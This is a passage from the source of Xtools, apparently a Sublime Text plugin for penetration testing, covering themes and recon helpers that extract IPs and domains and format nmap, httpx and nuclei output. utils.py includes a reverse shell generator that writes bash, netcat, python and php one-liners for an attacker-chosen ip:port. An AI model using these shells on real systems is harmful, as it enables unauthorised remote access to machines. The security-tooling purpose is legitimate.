"scope": "meta.type.parameters.ts entity.name.type, meta.type.parameters.tsx entity.name.type"
},
{
"name": "TypeScript[React] Import/Export Punctuations",
"foreground": "#bfc7d5",
"font_style": 0,
"scope": "meta.import.ts punctuation.definition.block, meta.import.tsx punctuation.definition.block, meta.export.ts punctuation.definition.block, meta.export.tsx punctuation.definition.block"
},
{
"name": "TypeScript[React] Punctuation Decorators",
"foreground": "#82AAFF",
"font_style": 0,
"scope": "meta.decorator punctuation.decorator.ts, meta.decorator punctuation.decorator.tsx"
},
{
"name": "TypeScript[React] Punctuation Decorators",
"foreground": "#82AAFF",
"font_style": 0,
"scope": "meta.tag.js meta.jsx.children.tsx"
},
{
"name": "YAML Entity Name Tags",
"foreground": "#89DDFF",
"font_style": 0,
"scope": "entity.name.tag.yaml"
},
{
"name": "handlebars variables",
"foreground": "#bec5d4",
"font_style": 0,
"scope": "variable.parameter.handlebars"
},
{
"name": "handlebars parameters",
"foreground": "#ffcb6b",
"font_style": 0,
"scope": "entity.other.attribute-name.handlebars variable.parameter.handlebars"
},
{
"name": "handlebars enitity attribute names",
"foreground": "#89DDFF",
"font_style": 0,
"scope": "entity.other.attribute-name.handlebars"
},
{
"name": "handlebars enitity attribute values",
"foreground": "#7986E7",
"font_style": 0,
"scope": "entity.other.attribute-value.handlebars variable.parameter.handlebars"
},
{
"name": "normalize font style of certain components",
"font_style": 0,
"scope": "meta.tag.js meta.embedded.expression.js punctuation.section.embedded.begin.js, meta.tag.js meta.embedded.expression.js punctuation.section.embedded.end.js, meta.property-list.css meta.property-value.css variable.other.less, punctuation.section.embedded.begin.js.jsx, punctuation.section.embedded.end.js.jsx, meta.property-list.scss variable.scss, meta.property-list.sass variable.sass, keyword.operator.logical, keyword.operator.arithmetic, keyword.operator.bitwise, keyword.operator.increment, keyword.operator.ternary, keyword.operator.comparison, keyword.operator.assignment, keyword.operator.operator, keyword.operator.or.regexp, keyword.operator.expression.in, keyword.operator.type, punctuation.section.embedded.js, punctuation.definintion.string, punctuation"
},
{
"name": "Xtools Red",
"scope": "xtools.red",
"foreground": "var(red)"
},
{
"name": "Xtools Blue",
"scope": "xtools.blue",
"foreground": "var(blue)"
},
{
"name": "Xtools Peach",
"scope": "xtools.peach",
"foreground": "var(peach)"
},
{
"name": "Xtools Mauve",
"scope": "xtools.mauve",
"foreground": "var(mauve)"
},
{
"name": "Xtools Green",
"scope": "xtools.green",
"foreground": "var(green)"
},
{
"name": "Xtools Sky",
"scope": "xtools.sky",
"foreground": "var(sky)"
},
{
"name": "Xtools Comment",
"scope": "xtools.comment",
"foreground": "var(overlay)"
},
]
}
================================================
FILE: themes/Palenight Theme.sublime-theme
================================================
{
"extends": "Adaptive.sublime-theme",
"variables": {
"font_face": "system",
"font_size_sm": 11,
"font_size": 12,
"font_size_lg": 16
},
"rules": [
{
"class": "title_bar",
"fg": "#eeefff"
},
{
"class": "sidebar_container",
"layer0.tint": "#292D3E"
},
{
"class": "status_bar",
"layer0.tint": "#282C3D"
},
{
"class": "label_control",
"parents": [
{
"class": "status_bar"
}
],
"fg": "#676E95"
},
{
"class": "tree_row",
"attributes": [
"selectable",
"hover"
],
"layer0.tint": "#929ac90d",
"layer0.opacity": 1
},
{
"class": "tree_row",
"attributes": [
"selected"
],
"layer0.tint": "#7e57c2",
"layer0.opacity": 1
},
{
"class": "sidebar_heading",
"fg": "#eeffff"
},
{
"class": "sidebar_label",
"fg": "#6C739A"
},
{
"class": "sidebar_label",
"parents": [
{
"class": "tree_row",
"attributes": [
"selected"
]
}
],
"fg": "#ffffff"
},
{
"class": "vcs_status_badge",
"parents": [
{
"class": "file_system_entry",
"attributes": [
"untracked"
]
}
],
"layer0.tint": "#a9c77dff"
},
{
"class": "vcs_status_badge",
"parents": [
{
"class": "file_system_entry",
"attributes": [
"modified"
]
}
],
"layer0.tint": "#e2c08de6"
},
{
"class": "vcs_status_badge",
"parents": [
{
"class": "file_system_entry",
"attributes": [
"missing"
]
}
],
"layer0.tint": "#EF535090"
},
{
"class": "vcs_status_badge",
"parents": [
{
"class": "file_system_entry",
"attributes": [
"staged"
]
}
],
"layer0.tint": ""
},
{
"class": "vcs_status_badge",
"parents": [
{
"class": "file_system_entry",
"attributes": [
"added"
]
}
],
"layer0.tint": ""
},
{
"class": "vcs_status_badge",
"parents": [
{
"class": "file_system_entry",
"attributes": [
"deleted"
]
}
],
"layer0.tint": "#EF535090"
},
{
"class": "sidebar_label",
"parents": [
{
"class": "file_system_entry",
"attributes": [
"ignored"
]
}
],
"color": "#69709890"
},
{
"class": "tab_control",
"attributes": [
"selected"
],
"tint_modifier": "#292D3E"
},
{
"class": "tab_control",
"attributes": [
"dirty"
],
"settings": [
"highlight_modified_tabs"
],
"layer2.tint": "#ffffff"
},
{
"class": "tab_label",
"fg": "#6C739A"
},
{
"class": "tab_label",
"parents": [
{
"class": "tab_control",
"attributes": [
"selected"
]
}
],
"fg": "#ffffff"
}
]
}
================================================
FILE: themes/Sixteen.sublime-color-scheme
================================================
// Documentation at https://www.sublimetext.com/docs/color_schemes.html
{
"variables":
{
},
"globals":
{
},
"rules":
[
{
"name": "Xtools Red",
"scope": "xtools.red",
"foreground": "var(red)"
},
{
"name": "Xtools Blue",
"scope": "xtools.blue",
"foreground": "var(blue)"
},
{
"name": "Xtools Peach",
"scope": "xtools.peach",
"foreground": "var(orange)"
},
{
"name": "Xtools Mauve",
"scope": "xtools.mauve",
"foreground": "var(pink)"
},
{
"name": "Xtools Green",
"scope": "xtools.green",
"foreground": "var(yellow)"
},
{
"name": "Xtools Sky",
"scope": "xtools.sky",
"foreground": "var(blue2)"
},
{
"name": "Xtools Comment",
"scope": "xtools.comment",
"foreground": "var(grey)"
},
]
}
================================================
FILE: utils.py
================================================
# -*- coding=utf-8 -*-
# Functions lib
import sublime
from .config import *
import re, os, hashlib, socket
from urllib.parse import urlparse, quote, unquote
import ipaddress
'''
# base functions
# global vars
'''
# Xtools Root Path
XTOOLS_ROOT = os.path.join(sublime.packages_path(),"Xtools")
# syntax file
SYNTAX_FILE = 'Xtools-Text.sublime-syntax'
# Get system type
platform = sublime.platform()
try:
if platform == 'osx': from .applescript import tell
except:
sublime.message_dialog('[waring] applescript 文件导入出错, 请检查')
def check_version(current_version):
try:
from urllib.request import urlopen
readme = urlopen("https://raw.githubusercontent.com/chasingboy/Xtools/main/README.md",timeout=3).read()
version = re.findall(r'Version-V(.+)-green',readme.decode())[0]
if current_version < version:
return '最新版本 @{v}, 请下载更新...'.format(v=version)
except:
return '版本信息获取失败,请github查看'
return '已是最新版'
### --- END ---
def convert_ipv4_to_C(view):
rets = {}
pattern = r'\d{1,3}\.\d{1,3}\.\d{1,3}'
regions = view.find_all(pattern)
for region in regions:
ip = view.substr(region)
if ip in rets.keys():
rets[ip] = rets[ip] + 1
else:
rets[ip] = 1
rets = sorted(rets.items(), key=lambda v:v[1], reverse = True)
text = '[+] 所有 C 段: \n'
for line in rets:
text += '{0}.0/24 [{1}]'.format(line[0],line[1]) + "\n"
return text
def convert_C_to_ipv4(view):
pattern = r'(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)((([\-](1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])|/(1\d|2\d|3[0-2]|[1-9]))(\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d))?)?)'
regions = view.find_all(pattern)
ret = []
for region in regions:
line = view.substr(region)
try:
if '/' in line:
ips = ipaddress.ip_network(line.strip(),strict=False).hosts()
for ip in ips:
ret.append(str(ip))
elif '-' in line:
start,end = line.split('-')
ip_range = parse_ip_range(start,end)
ret += ip_range
else:
ret.append(line)
except Exception as e:
print(e)
sublime.message_dialog('[error] IP C is invaild! Please check...')
ret = '\n'.join(unique_sort_ipv4(ret))
return ret
def parse_ip_range(start,end):
if '.' not in end:
end = start.rsplit('.',1)[0] + '.' + end
start = ipaddress.ip_address(start)
end = ipaddress.ip_address(end)
ip_range = list(range(int(start),int(end)+1))
ip_range = [str(ipaddress.ip_address(ip)) for ip in ip_range]
return ip_range
def convert_ipv4_to_B(view):
rets = {}
pattern = r'\d{1,3}\.\d{1,3}\.'
regions = view.find_all(pattern)
for region in regions:
ip = view.substr(region).strip('.')
if ip in rets.keys():
rets[ip] = rets[ip] + 1
else:
rets[ip] = 1
rets = sorted(rets.items(), key=lambda v:v[1], reverse = True)
text = '[+] 所有 B 段: \n'
for line in rets:
text += '{0}.0.0/16 [{1}]'.format(line[0],line[1]) + "\n"
return text
def select_ipv4(view):
pattern = r'(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)((([\-](1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])|/(1\d|2\d|3[0-2]|[1-9]))(\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d))?)?)'
regions = view.find_all(pattern)
lan_ips = []
wan_ips = []
for region in regions:
text = view.substr(region)
temp = text.split('-')[0].split('/')[0]
if is_lan(temp):
lan_ips.append(text)
else:
wan_ips.append(text)
return unique_sort_ipv4(lan_ips),unique_sort_ipv4(wan_ips)
def is_lan(ip):
try:
return ipaddress.ip_address(ip.strip()).is_private or ipaddress.ip_address(ip.strip()).is_loopback
except Exception as e:
return False
def select_ipv4_range(view):
pattern = r'(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)((([\-](1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])|/(1\d|2\d|3[0-2]|[1-9]))(\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d))?))'
regions = view.find_all(pattern)
ips = []
for region in regions:
text = view.substr(region)
ips.append(text)
return unique_sort_ipv4(ips)
def select_ipv4_port(view):
pattern = r'(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)((([\-](1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])|/(1\d|2\d|3[0-2]|[1-9]))(\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d))?)?):(\d{1,5})'
regions = view.find_all(pattern)
ip_ports = []
for region in regions:
text = view.substr(region)
if int(text.split(':')[1]) <= 65535:
ip_ports.append(text)
return ip_ports
def count_ipv4_number(view):
pattern = r'(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)((([\-](1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])|/(1\d|2\d|3[0-2]|[1-9]))(\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d))?)?)'
regions = view.find_all(pattern)
ipv4_counts = {}
for region in regions:
text = view.substr(region)
if text in ipv4_counts.keys():
ipv4_counts[text] = ipv4_counts[text] + 1
else:
ipv4_counts[text] = 1
rets = sorted(ipv4_counts.items(), key=lambda v:v[1], reverse = True)
text = '[+] 统计 IP 数量: \n'
for line in rets:
text += '{0} [{1}]'.format(line[0],line[1]) + "\n"
return text
def select_domain(view):
pattern = r'([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+('+top_sufix+'|'+country_sufix+')'
regions = view.find_all(pattern, sublime.IGNORECASE)
rootdomains = []
domains = []
for region in regions:
text = view.substr(region)
domains.append(text)
rootdomains.append(select_rootdomain(text))
domains = list(set(domains))
rootdomains = list(set(rootdomains))
return sorted(domains), sorted(rootdomains)
def select_rootdomain(text):
dms = text.split('.')
if len(dms) == 2:
return text
if dms[-2] in top_sufix and dms[-1] in country_sufix:
root = "{0}.{1}.{2}".format(dms[-3],dms[-2],dms[-1])
return root
if dms[-1] in top_sufix or dms[-1] in country_sufix:
root = "{0}.{1}".format(dms[-2],dms[-1])
return root
def select_urls(view, path=False):
pattern = r'https?://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|]'
regions = view.find_all(pattern, sublime.IGNORECASE)
array = []
for region in regions:
text = view.substr(region)
if path == False:
text = delete_url_path(text)
if text not in array:
array.append(text)
text = '\n'.join(array)
return text
def exec_command(cmd):
if platform == 'windows':
os.system('start cmd /k ' + cmd)
elif platform == 'osx':
tell.app('Terminal','do script"{cmd}"'.format(cmd=cmd),background=True)
elif platform == 'linux':
os.system("gnome-terminal -e 'bash -c \"{cmd}\"'".format(cmd=cmd))
else:
sublime.message_dialog('[waring] <Run Command> module is not supported this system')
def write_file(workdir,text):
file = os.path.join(workdir,hashlib.md5(text.encode('utf-8')).hexdigest())
with open(file,'w') as fw:
fw.write(text)
return file
def read_file(file):
with open(file) as fr:
text = fr.read().strip('\n')
return text
def delete_url_path(url):
o = urlparse(url)
return o.scheme + '://' + o.netloc
def is_url(urls):
errurls = ''
for url in urls:
if re.match(r'^https?:/{2}\w.+$', url):
pass
else:
errurls += url + '\n'
return errurls
def unique_sort_ipv4(ips):
try:
ips = sorted(list(set(ips)),key=socket.inet_aton)
except:
ips = sorted(list(set(ips)))
return ips
def add_prefix_suffix(text,chars,cmd):
'''
: cmd: prefix, suffix, prefix-line, suffix-line
'''
lines, text = text.split('\n'), ''
def concat(lines,chars,text):
chars = chars.split('\n')
if len(chars) != len(lines):
sublime.message_dialog('[waring] The number of text lines is not same')
return None
for x,line in enumerate(lines):
line = (chars[x] + line) if cmd == 'prefix-line' else (line+chars[x])
text = text + line + '\n'
return text
if 'line' in cmd:
return concat(lines,chars,text)
for line in lines:
line = (chars+line) if cmd == 'prefix' else (line+chars)
text = text + line + '\n'
return text
'''
Select Routers
: urls,sort,filter
: Regex copy from linkfinder
'''
regex_str = r"""
(?:"|') # Start newline delimiter
(
((?:[a-zA-Z]{1,10}://|//) # Match a scheme [a-Z]*1-10 or //
[^"'/]{1,}\. # Match a domainname (any character + dot)
[a-zA-Z]{2,}[^"']{0,}) # The domainextension and/or path
|
((?:[a-zA-Z]{1,10}://|//)
(?:\d{1,3}\.){3}\d{1,3}
(?::\d+)?(?:/[^\s"'<>]*)?) # Match http://172.16.1.1:80/path
|
((?:/|\.\./|\./) # Start with /,../,./
[^"'><,;| *()(%%$^/\\\[\]] # Next character can't be...
[^"'><,;|()]{1,}) # Rest of the characters can't be
|
([a-zA-Z0-9_\-/]{1,}/ # Relative endpoint with /
[a-zA-Z0-9_\-/]{1,} # Resource name
\.(?:[a-zA-Z]{1,10}|action) # Rest + extension (length 1-10 or action)
(?:[\?|#][^"|']{0,}|)) # ? or # mark with parameters
|
([a-zA-Z0-9_\-/]{1,}/ # REST API (no extension) with /
[a-zA-Z0-9_\-/]{3,} # Proper REST endpoints usually have 3+ chars
(?:[\?|#][^"|']{0,}|)) # ? or # mark with parameters
|
([a-zA-Z0-9_\-]{1,} # filename
\.(?:php|asp|aspx|jsp|json|
action|html|js|txt|xml) # . + extension
(?:[\?|#][^"|']{0,}|)) # ? or # mark with parameters
)
(?:"|') # End newline delimiter
"""
def select_routers(text):
regex = re.compile(regex_str, re.VERBOSE)
routers = [m.group(1).lstrip('/') for m in re.finditer(regex, text)]
return routers
def filter_routers(results):
file_exts = ['png','jpg','jpeg','gif','js','vue','ico','svg','css','ts','bmp','ttf','woff','woff2']
routers = ['\n[+] Routers:\n']
links = ['\n[+] Links:\n']
filters = ['\n[+] Filters:\n']
results = sorted(list(set(results)))
for router in results:
try:
if 'http' in router:
links.append(router)
continue
temp = router
if '?' in temp:
temp = temp.split('?')[0]
if temp in routers:
x = routers.pop()
ext = temp.split('.')[-1]
if ext in file_exts:
filters.append(router)
else:
routers.append(router)
except:
pass
routers = [('/' + line) for line in routers]
text = '\n'.join(routers+links+filters).lstrip('/')
return text
'''
Reverse shell tool
# bash, /bin/bash
# sh, /bin/sh
# python, php, nc
'''
def reverse_shell_tools(shell,ip_port):
if ip_port.count(':') != 1:
info = '[-] Input format has error(ip:port)'
return info
ip,port = ip_port.split(':')
shell_template = '''
---------------------------------------------------------------------------------------
# Bash -i
{cmd} -i >& /dev/tcp/{ip}/{port} 0>&1
# Bash 196
0<&196;exec 196<>/dev/tcp/{ip}/{port}; {cmd} <&196 >&196 2>&196
# Bash 5
{cmd} -i 5<> /dev/tcp/{ip}/{port} 0<&5 1>&5 2>&5
# Bash read line
exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done
---------------------------------------------------------------------------------------
'''
other_template = '''
---------------------------------------------------------------------------------------
# nc -e
nc {ip} {port} -e bash
# nc -c
nc -c sh {ip} {port}
# nc mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {ip} {port} >/tmp/f
# ncat -c
ncat {ip} {port} -e sh
# python3
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("{ip}",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
# php
php -r '$sock=fsockopen("{ip}",{port});exec("/bin/sh -i <&3 >&3 2>&3");'
---------------------------------------------------------------------------------------
'''
if shell == 'other':
return other_template.format(ip=ip,port=port)
else:
return shell_template.format(cmd=shell,ip=ip,port=port) + shell_template.format(cmd='/bin/'+shell,ip=ip,port=port)
'''
Formating some tool's resulte
# nmap: result(xml) -> host:port
: nmap ... -oX xxx.xml
'''
def format_nmap_open_port(xmls, mode):
try:
import xml.etree.ElementTree
except:
sublime.message_dialog('[ERR] could not import xml.etree.ElementTree, please check and install')
return 'format failed'
root = xml.etree.ElementTree.fromstring(xmls)
text, wafhosts = [], ['\n\n# WAF host:']
for host in root.findall('host'):
address = host.find('address').get('addr')
ports = host.find('ports').findall('port')
if mode == "domain":
try:
address = host.find('hostnames').findall('hostname')[0].get('name')
except:
pass
if len(ports) > 100:
wafhosts.append(address)
continue
for port in ports:
port, state = port.get('portid'), port.find('state').get('state')
if state != 'open':
continue
try:
service = port.find('service').get('name')
except:
service = 'unknow'
text.append(address + ':' + port)
text = '\n'.join(list(set(text)))
if len(wafhosts) > 1:
text += '\n'.join(wafhosts)
return text
def select_nmap_ports_from_xml(xmls, mode):
'''
* when the xml parsed failed
* match port by regexp
'''
text, wafhosts = "", ['\n\n# WAF host:']
hosts = re.findall(r'<host.*?</host>', xmls, flags=re.DOTALL)
for host in hosts:
address, ports = '', []
for line in host.split("\n"):
if "<address" in line:
address = re.findall(r'<address addr="(.*?)" addrtype', line)[0]
break
if address == '':
continue
match = re.search(r'<hostname name="(.*?)" type=', host)
if match is not None and mode == "domain":
address = match.group(1)
for line in host.split("\n"):
if "<port protocol" in line:
port = re.findall(r'<port protocol="tcp" portid="(.*?)">', line)[0]
ports.append(address + ":" + port)
if len(ports) > 100:
ports = []
wafhosts.append(address)
break
if len(ports) > 0:
text += ("\n".join(ports)) + "\n"
if len(wafhosts) > 1 :
text += '\n'.join(wafhosts)
return text
def format_httpx_result(text):
texts, results = text.split('\n'), []
for text in texts:
try:
assert (text.startswith('http://') or text.startswith('https://'))
url, code, end = text.split(' ', 2)
except:
continue
results.append('{code} {url} {end}'.format(code=code, url=url, end=end))
if results == []:
sublime.message_dialog('[waring-httpx] The result format is not supported! Please read the docs')
return ''
return '\n'.join(sorted(results))
def format_nuclei_result(text):
texts, results = text.split('\n'), []
results = {'info':[], 'low':[], 'medium': [], 'high': [], 'critical': []}
levels = ['info' ,'low', 'medium', 'high', 'critical']
for text in texts:
try:
poc, poctype, level, end = text.split(' ', 3)
key = level.replace('[','').replace(']','')
assert (key in levels)
except:
continue
results[key].append(
'{level} {poc} {poctype} {end}'.format(level=level, poc=poc, poctype=poctype, end=end)
)
text = ''
for level in levels[::-1]:
if results.get(level) != []:
text += '\n'.join(results.get(level)) + '\n\n'
if text == '':
sublime.message_dialog('[waring-nuclei] The result format is not supported! Please read the docs')
return ''
return text
================================================
FILE: xtools.py
================================================
# -*- coding=utf-8 -*-
import sublime_plugin
from sublime import Region
from .utils import *
import json,time
import base64,hashlib
from .lib.format_tools_result import classify_fscan_result
from .lib.format_tools_result import format_dirsx_result
"""
: Setting working directory
: HOME = '/Users/xxx/'
: workdir = '$HOME/.xtools'
"""
# 跨平台支持, 获取 HOME PATH
HOME = os.path.expanduser("~")
'''
-> 如果系统的用户名是中文且安装不成功,可以尝试在 xtools.py 文件设置系统的 "<用户名>"
-> 删除 # 注释
Eg:
HOME = "C:\\Users\\" + u"中文"
'''
#HOME = "/Users/" + u"<用户名>" # osx
#HOME = "/home/" + u"<用户名>" # linux
#HOME = "C:\\Users\\" + u"<用户名>" # windows
workdir = os.path.join(HOME,'.xtools')
try:
if os.path.exists(workdir):
print('.xtools directory is exists')
else:
os.mkdir(workdir)
print('Create .xtools directory successfully')
except:
sublime.message_dialog('[waring] .xtools directory is created failed')
'''
-> 版本信息
'''
VERSION = '4.2.3'
ABOUT_XTOOLS = '''
About Xtools
Xtools 是一款 Sublime Text 插件、同时是一款简单的资产处理、命令行调用工具
__ __ _ _
\ \ / /| | | |
\ V / | |_ ___ ___ | | ___
/ \ | __|/ _ \ / _ \ | |/ __|
/ /^\ \| |_| (_) || (_) || |\__ \
\/ \/ \__|\___/ \___/ |_||___/
参考文档 Github@https://github.com/chasingboy/Xtools
当前版本 Version@{version} [{tip}]
'''
# IP And Domain
class SelectIpv4LanCommand(sublime_plugin.TextCommand):
def run(self, edit):
lan_ips,wan_ips =select_ipv4(self.view)
text = '\n'.join(lan_ips)
new_view(self.view, edit, text)
class SelectIpv4WanCommand(sublime_plugin.TextCommand):
def run(self, edit):
lan_ips,wan_ips =select_ipv4(self.view)
text = '\n'.join(wan_ips)
new_view(self.view, edit, text)
class SelectIpv4RangeCommand(sublime_plugin.TextCommand):
def run(self, edit):
ips = select_ipv4_range(self.view)
text = '\n'.join(ips)
new_view(self.view, edit, text)
class SelectIpv4PortCommand(sublime_plugin.TextCommand):
def run(self, edit):
ip_ports = select_ipv4_port(self.view)
text = '\n'.join(ip_ports)
new_view(self.view, edit, text)
class CountIpv4NumberCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = count_ipv4_number(self.view)
new_view(self.view, edit, text)
class ConvertRangeIp2cCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = convert_ipv4_to_C(self.view)
new_view(self.view, edit, text)
class ConvertRangeC2ipCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = convert_C_to_ipv4(self.view)
new_view(self.view, edit, text)
class ConvertRangeIp2bCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = convert_ipv4_to_B(self.view)
new_view(self.view, edit, text)
class SelectDomainRootAllCommand(sublime_plugin.TextCommand):
def remove(self,edit):
exts = ['.html','.login','.action','.htm','.shtml','.asp','.aspx','.jsp','.jspx']
text = get_buffer_text(self.view)
_text = text
for ext in exts:
_text = _text.lower().replace(ext,'#####')
update_file(self.view, edit, _text)
return text
def run(self, edit, cmd):
text = self.remove(edit)
domains,rootdomains = select_domain(self.view)
update_file(self.view, edit, text)
text = '\n'.join(rootdomains) if cmd == 'root' else '\n'.join(domains)
new_view(self.view, edit, text)
class FilterDnsCdnHostCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = get_buffer_text(self.view)
ips = text.replace(' ','').split('\n')
text = ''
black_text = []
for ip in ips:
if ip in filter_hosts:
black_text.append(ip)
else:
text += ip + '\n'
black_text = '\n'.join(list(set(black_text)))
text = "{0}\n\n# filter host:\n{1}".format(text,black_text)
update_file(self.view, edit, text)
class FilterDnsCdnDomainCommand(sublime_plugin.TextCommand):
def run(self, edit):
buffers = get_buffer_text(self.view)
text = buffers
black_text = []
for line in buffers.split('\n'):
for fd in filter_domains:
if fd in line or fd == line:
text = text.replace(line + '\n', '')
black_text.append(fd)
black_text = '\n'.join(list(set(black_text)))
text = "{0}\n\n# filter host:\n{1}".format(text,black_text)
update_file(self.view, edit, text)
# URL And Router
class SelectUrlsExcludePathCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = select_urls(self.view, False)
new_view(self.view, edit, text)
class SelectUrlsIncludePathCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = select_urls(self.view, True)
new_view(self.view, edit, text)
class SelectRoutersFromTextCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = get_buffer_text(self.view)
results = select_routers(text)
text = filter_routers(results)
new_view(self.view, edit, text)
class RecoverJsLinkCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = get_buffer_text(self.view)
prefix = get_console_text(self.view).strip('\n').strip('/') + '/'
try:
text = json.loads(text)
except:
sublime.message_dialog('[error] Json data has error! Please check...')
else:
rets = ''
for key in text.keys():
rets += prefix + key + '.' + text[key] + '.js\n'
panel_print(self.view, edit, rets)
# Text Edit
class RemoveSpecialCharsCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = get_buffer_text(self.view)
text = re.sub(r"(\ |,|\.|\?|<|>|:|;|\"|'|{|}|\[|\]|\\|~|!|@|#|$|%|^|&|\*|\(|\)|\+|-|=|)",'',text)
update_file(self.view, edit, text)
class RemoveSpecificStringCommand(sublime_plugin.TextCommand):
def run(self, edit, str):
text = get_buffer_text(self.view)
if str == '[*]':
text = re.sub(r"\[.*?\]",'',text)
if str == '(*)':
text = re.sub(r"\(.*?\)",'',text)
if str == 'space':
text = text.replace(' ','')
update_file(self.view, edit, text)
class DeleteLinesCommand(sublime_plugin.TextCommand):
def run(self, edit):
buffers = get_buffer_text(self.view)
delstr = get_console_text(self.view).strip('\n').split('\n')
if len(delstr) == 0:
sublime.message_dialog('[error] Please select input text and input finding strings')
return
text = ''
for line in buffers.split('\n'):
flag = False
for ds in delstr:
if ds in line or ds == line:
flag = True
break
if flag == False:
text += line + '\n'
update_file(self.view, edit, text)
class SelectLinesCommand(sublime_plugin.TextCommand):
def run(self, edit):
buffers = get_buffer_text(self.view)
findstr = get_console_text(self.view).strip('\n').split('\n')
if len(findstr) == 0:
sublime.message_dialog('[error] Please select input text and input finding strings')
return
text = ''
for line in buffers.split('\n'):
for fs in findstr:
if fs in line or fs == line:
text += line.strip() + '\n'
new_view(self.view, edit, text)
class AddPrefixSuffixCommand(sublime_plugin.TextCommand):
def run(self, edit, cmd):
text = get_buffer_text(self.view)
chars = get_console_text(self.view)
text = add_prefix_suffix(text,chars,cmd)
if text is not None:
update_file(self.view, edit, text)
class ReplaceKeyToValueCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = get_buffer_text(self.view)
mapstr = get_console_text(self.view).strip('\n').replace(' => ','=>').split('\n')
if len(mapstr) == 0:
sublime.message_dialog('[error] Please select input text and input mapping strings(eg: a=>b)')
return
for line in mapstr:
if '=>' in line:
key, value = line.split('=>')
if key == '': continue
text = text.replace(key,value)
new_view(self.view, edit, text)
class ReplaceValueToKeyCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = get_buffer_text(self.view)
mapstr = get_console_text(self.view).strip('\n').replace(' => ','=>').split('\n')
if len(mapstr) == 0:
sublime.message_dialog('[error] Please select input text and input mapping strings(eg: a=>b)')
return
for line in mapstr:
if '=>' in line:
key,values = line.split('=>')
values = values.split(',')
for value in values:
if value == '': continue
text = text.replace(value,key)
new_view(self.view, edit, text)
class SortAndUniqueTextCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = get_buffer_text(self.view)
text = list(set(text.split('\n')))
text = '\n'.join(sorted(text))
update_file(self.view, edit, text)
# Text encode
class Base64EncodeTextCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = get_buffer_text(self.view)
text = base64.b64encode(text.encode())
panel_print(self.view, edit, text.decode())
class Base64DecodeTextCommand(sublime_plugin.TextCommand):
def run(self, edit):
text = get_buffer_text(self.view)
text = base64.b64decode(text.encode())
panel_print(self.view, edit, text.decode())
class Base64EncodeLineCommand(sublime_plugin.TextCommand):
def run(self, edit):
texts = get_buffer_text(self.view).strip('\n').split('\n')
lines = ''
for line in texts:
line = base64.b64encode(line.encode())
lines += line.decode() + '\n'
panel_print(self.view, edit, lines)
class Base64DecodeLineCommand(sublime_plugin.TextCommand):
def run(self, edit):
texts = get_buffer_text(self.view).strip('\n').split('\n')
lines = ''
for line in texts:
line = base64.b64decode(line.encode())
lines += line.decode() + '\n'
